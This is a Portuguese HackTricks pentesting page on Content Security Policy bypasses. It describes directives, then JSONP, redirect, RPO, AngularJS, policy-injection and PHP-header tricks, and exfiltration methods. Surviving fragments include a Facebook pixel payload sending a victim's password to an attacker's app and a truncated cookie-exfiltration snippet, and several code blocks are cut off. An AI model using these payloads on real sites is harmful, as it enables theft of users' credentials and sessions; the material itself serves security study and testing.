Aprenda e pratique Hacking AWS:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
CSP pode ser aplicado ou monitorado usando esses cabeçalhos:
*`Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
*`Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
### Definindo Recursos
CSP restringe as origens para carregar tanto conteúdo ativo quanto passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
* **child-src**: Especifica recursos permitidos para trabalhadores da web e conteúdos de quadros incorporados.
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Restringe URLs para quadros.
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
* **img-src**: Define fontes permitidas para imagens.
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
* **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
* **base-uri**: Especifica URLs permitidas para carregamento usando elementos `<base>`.
* **plugin-types**: Restringe tipos mime que uma página pode invocar.
* **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
* **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
* **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
* **worker-src**: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.
* **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
* **navigate-to**: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)
### Sources
*`*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
*`'self'`: Permite carregamento do mesmo domínio.
*`'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
*`'none'`: Bloqueia o carregamento de qualquer fonte.
*`'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
*`'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
*`'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por razões de segurança.
*`'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
* Se você tiver execução limitada de JS, é possível obter um nonce usado dentro da página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
<details>
<summary>Load script reusing nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
*`'host'`: Especifica um host específico, como `example.com`.
*`https:`: Restringe URLs àquelas que usam HTTPS.
*`blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
*`filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
*`'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
*`'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
*`'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
*`'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
Se você conseguir de alguma forma fazer um **código JS permitido criar uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando-a, a **nova tag de script será permitida para ser executada**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo determinado de arquivos**.
Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitarão a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
De acordo com [**este writeup de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário contornando o CSP:
#### Abusando www.google.com para redirecionamento aberto
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusando \*.google.com/script.google.com
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, você segue estes passos gerais:
1. Crie uma conta de desenvolvedor do Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
4. No site alvo do qual você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do Facebook através de um "customEvent" e o payload de dados.
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Além da redireção mencionada para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do navegador. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto `window` invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.
Ao direcionar este array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo elucida este processo:
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
**Encontre outras contornações do Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
Uma política CSP que lista domínios permitidos para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram deletados ou corrigidos)
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
Você pode contornar esse CSP exfiltrando os dados via imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
Você também poderia abusar dessa configuração para **carregar código javascript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter. Você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Com Service Workers
A função **`importScripts`** dos service workers não é limitada pelo CSP:
Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política,** então você poderia **alterar** a **política** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
Porque esta diretiva irá **substituir as diretivas script-src existentes**.\
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, você pode extrair as informações que precisa.
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **bypassing CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **prototype pollution** ou **dom clobbering** permitiu **abusar de um script diferente para carregar um script arbitrário**.
Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazê-lo apontar para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
* Ao ouvir o evento `securitypolicyviolation`, pode-se capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um potencial vazamento de informações sensíveis devido a comportamentos indefinidos.
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível restringir os possíveis caracteres no subdomínio secreto, eventualmente revelando a URL completa.
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
Truque de [**aqui**](https://ctftime.org/writeup/29310).
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Insights de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
**Notícias de Hack em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Tecnologias Inseguras para Bypass do CSP
### Erros de PHP quando muitos parâmetros
De acordo com a [**última técnica comentada neste vídeo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 parâmetros GET, embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** devido ao erro que isso irá gerar.
### Sobrecarga do buffer de resposta do PHP
O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada****antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Reescrever Página de Erro
De [**este writeup**](https://blog.ssrf.kr/69), parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar****outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypasses de Exfiltração CSP
Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
### Localização
Você poderia apenas atualizar a localização para enviar ao servidor do atacante as informações secretas:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
